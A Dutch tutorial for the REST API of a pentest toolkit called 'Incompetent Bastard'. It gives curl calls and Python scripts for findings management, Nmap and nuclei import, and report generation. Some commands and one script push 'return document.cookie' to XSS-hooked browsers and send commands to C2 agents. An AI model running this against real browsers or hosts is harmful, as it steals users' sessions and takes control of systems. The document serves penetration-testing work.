IB Automatisering met de API
Incompetent Bastard (IB) biedt een uitgebreide REST API waarmee je vrijwel alle functionaliteit kunt aansturen via scripts. In deze tutorial leer je de volledige API kennen en bouwen we praktische Python-scripts om je pentestworkflow te automatiseren.
IB – De IB API gebruikt JSON als dataformaat. Dashboard-endpoints vereisen localhost-toegang. Lab-endpoints (XSS, XXE, CSRF, SQLi, SSRF) zijn bewust onbeveiligd.
Vereisten
- IB draait op
http://127.0.0.1:5000/ - Python 3 met
requests:pip install requests
flask --app app:create_app run --host 127.0.0.1 --port 5000Endpoint-overzicht
Settings API
curl http://127.0.0.1:5000/api/settings
curl -X POST http://127.0.0.1:5000/api/settings \
-H "Content-Type: application/json" \
-d '{"localhost":"http://10.10.14.5:5000"}'Findings API
curl "http://127.0.0.1:5000/api/findings?severity=critical&status=final"
curl -X POST http://127.0.0.1:5000/api/findings/1/status \
-H "Content-Type: application/json" -d '{"status":"final"}'
curl -X POST http://127.0.0.1:5000/api/findings/1/remediation \
-H "Content-Type: application/json" \
-d '{"status":"fixed","target_date":"2026-04-01","owner":"IT Security"}'
curl -X POST http://127.0.0.1:5000/api/findings/batch-action \
-H "Content-Type: application/json" \
-d '{"ids":[1,2,3],"action":"set_status","value":"final"}'CVSS, XSS, SQLi, agents, notes, rapport
# CVSS 4.0
curl "http://127.0.0.1:5000/api/cvss4/calculate?vector=CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
# XSS
curl http://127.0.0.1:5000/api/xxs/hooked
curl http://127.0.0.1:5000/api/xxs/commands
curl -X POST http://127.0.0.1:5000/api/xxs/commands \
-H "Content-Type: application/json" -d '{"host":"*","opdracht":"return document.cookie"}'
# SQLi
curl http://127.0.0.1:5000/api/sqli/data
curl http://127.0.0.1:5000/api/sqli/cheatsheet
# XXE, CSRF, SSRF
curl http://127.0.0.1:5000/api/xxe/data
curl http://127.0.0.1:5000/api/csrf/data
curl http://127.0.0.1:5000/api/ssrf/data
# Agents
curl http://127.0.0.1:5000/api/agents
curl -X POST http://127.0.0.1:5000/api/agents/AGENT_ID/command \
-H "Content-Type: application/json" -d '{"command":"whoami"}'
curl http://127.0.0.1:5000/api/agents/AGENT_ID/history
# Notes
curl http://127.0.0.1:5000/api/notes
curl -X POST http://127.0.0.1:5000/api/notes/1/toggle-rapport
curl -X POST http://127.0.0.1:5000/api/notes/reorder \
-H "Content-Type: application/json" -d '{"order":[3,1,2]}'
# Rapport
curl http://127.0.0.1:5000/api/report/validate
curl -X POST http://127.0.0.1:5000/api/report/generate \
-H "Content-Type: application/json" -d '{"include_draft":false}'
curl -O http://127.0.0.1:5000/api/report/download/pdf
# Export
curl http://127.0.0.1:5000/api/findings/export
curl -O http://127.0.0.1:5000/api/findings/export/csv
curl http://127.0.0.1:5000/api/stix
curl http://127.0.0.1:5000/api/changelogPython wrapper class
import requests
class IBClient:
"""Python wrapper voor de Incompetent Bastard API."""
def __init__(self, base_url="http://127.0.0.1:5000"):
self.base = base_url.rstrip("/")
self.session = requests.Session()
def _get(self, path, **kw):
return self.session.get(f"{self.base}{path}", **kw)
def _post(self, path, data=None, **kw):
return self.session.post(f"{self.base}{path}", json=data, **kw)
def get_settings(self):
return self._get("/api/settings").json()
def update_settings(self, **kw):
return self._post("/api/settings", data=kw).json()
def get_findings(self, severity=None, status=None, q=None):
params = {k: v for k, v in {"severity": severity, "status": status, "q": q}.items() if v}
return self._get("/api/findings", params=params).json()
def import_findings(self, findings_list):
return self._post("/api/findings/import", data={"project_findings": findings_list}).json()
def set_finding_status(self, fid, status):
return self._post(f"/api/findings/{fid}/status", data={"status": status}).json()
def batch_action(self, ids, action, value):
return self._post("/api/findings/batch-action", data={"ids": ids, "action": action, "value": value}).json()
def export_csv(self, path="findings.csv"):
r = self._get("/api/findings/export/csv")
with open(path, "w") as f:
f.write(r.text)
return path
def calculate_cvss4(self, vector):
return self._get("/api/cvss4/calculate", params={"vector": vector}).json()
def get_agents(self):
return self._get("/api/agents").json()
def send_command(self, agent_id, command):
return self._post(f"/api/agents/{agent_id}/command", data={"command": command}).json()
def get_hooked_clients(self):
return self._get("/api/xxs/hooked").json()
def send_xss_command(self, host, opdracht):
return self._post("/api/xxs/commands", data={"host": host, "opdracht": opdracht}).json()
def validate_report(self):
return self._get("/api/report/validate").json()
def generate_report(self, include_draft=False):
return self._post("/api/report/generate", data={"include_draft": include_draft}).json()
def check_report_status(self, run_id):
return self._get(f"/api/report/generate/{run_id}").json()
def download_report(self, fmt, path=None):
r = self._get(f"/api/report/download/{fmt}")
p = path or f"rapport.{fmt}"
with open(p, "wb") as f:
f.write(r.content)
return pPraktijkscript 1: Nmap-resultaten importeren
import xml.etree.ElementTree as ET
from ib_client import IBClient
def nmap_to_findings(nmap_xml_path):
ib = IBClient()
tree = ET.parse(nmap_xml_path)
findings = []
for host in tree.getroot().findall("host"):
addr = host.find("address").get("addr", "unknown")
ports = host.find("ports")
if ports is None:
continue
for port in ports.findall("port"):
state = port.find("state")
if state is None or state.get("state") != "open":
continue
portid = port.get("portid")
protocol = port.get("protocol", "tcp")
service = port.find("service")
svc_name = service.get("name", "unknown") if service else "unknown"
findings.append({
"title": f"Open poort: {portid}/{protocol} ({svc_name})",
"location": f"{addr}:{portid}",
"cvss_v4_score": 0.0,
"status": "draft",
})
if findings:
result = ib.import_findings(findings)
print(f"[+] {result.get('created_findings', 0)} findings aangemaakt")
if __name__ == "__main__":
import sys
nmap_to_findings(sys.argv[1])IB – Nmap XML output maak je met
nmap -oX scan.xml. De script herkent automatisch open
poorten en services.
Praktijkscript 2: XSS-client monitor
import time
from ib_client import IBClient
def monitor_hooked_clients(interval=10):
ib = IBClient()
known_ips = set()
print("[*] XSS client monitor gestart...")
while True:
try:
for client in ib.get_hooked_clients():
ip = client.get("ip")
if ip and ip not in known_ips:
known_ips.add(ip)
print(f"[+] NIEUWE CLIENT: {ip} — {client.get('agent', 'unknown')}")
ib.send_xss_command(ip, "return document.cookie")
except Exception as e:
print(f"[!] Fout: {e}")
time.sleep(interval)
if __name__ == "__main__":
monitor_hooked_clients()Praktijkscript 3: Rapport genereren en downloaden
import time
from ib_client import IBClient
def generate_full_report():
ib = IBClient()
val = ib.validate_report()
print(f"[*] {val.get('findings_count', 0)} findings, {len(val.get('warnings',[]))} warnings")
result = ib.generate_report(include_draft=False)
run_id = result.get("run_id")
print(f"[*] Generatie gestart: {run_id}")
while True:
status = ib.check_report_status(run_id)
if status.get("status") in ("success", "failed"):
break
time.sleep(2)
if status.get("status") == "success":
for fmt in ("pdf", "docx", "html", "sarif", "stix"):
try:
path = ib.download_report(fmt)
print(f"[+] {path}")
except Exception as e:
print(f"[-] {fmt}: {e}")
if __name__ == "__main__":
generate_full_report()Integratie met nuclei
import json
from ib_client import IBClient
def nuclei_sarif_to_ib(sarif_path):
ib = IBClient()
with open(sarif_path) as f:
sarif = json.load(f)
findings = []
score_map = {"error": 8.0, "warning": 5.0, "note": 2.0}
for run in sarif.get("runs", []):
for result in run.get("results", []):
title = result.get("message", {}).get("text", "Unknown")
level = result.get("level", "note")
location = ""
for loc in result.get("locations", []):
uri = loc.get("physicalLocation", {}).get("artifactLocation", {}).get("uri", "")
if uri:
location = uri
break
findings.append({
"title": title[:200],
"location": location,
"cvss_v4_score": score_map.get(level, 2.0),
"status": "draft",
})
if findings:
result = ib.import_findings(findings)
print(f"[+] {result.get('created_findings', 0)} findings geimporteerd")Foutafhandeling
De API retourneert standaard HTTP-statuscodes: 200 (succes), 201
(aangemaakt), 204 (geen content), 400 (ongeldige request), 403 (geen
toegang), 404 (niet gevonden). Bij fouten bevat de response een
error-veld:
{"ok": false, "error": "ongeldige status"}IB – Gebruik altijd try/except in
scripts. De API kan onbeschikbaar zijn als IB herstart.
Samenvatting
De IB REST API maakt het mogelijk om je volledige pentestworkflow te automatiseren:
- Settings (
/api/settings) – configuratie beheren - Findings (
/api/findings) – CRUD, filtering, batch-acties, import/export - CVSS 4.0 (
/api/cvss4/calculate) – scores berekenen - Labs (
/api/xxs/*,/api/sqli/*,/api/xxe/*,/api/csrf/*,/api/ssrf/*) – labdata ophalen - Agents (
/api/agents) – C2-agents besturen - Notes (
/api/notes) – rapportnotities beheren - Rapport (
/api/report/*) – genereren, valideren, downloaden in 10 formaten - STIX (
/api/stix) en Changelog (/api/changelog) – export en audit trail
De volledige broncode is beschikbaar op GitHub.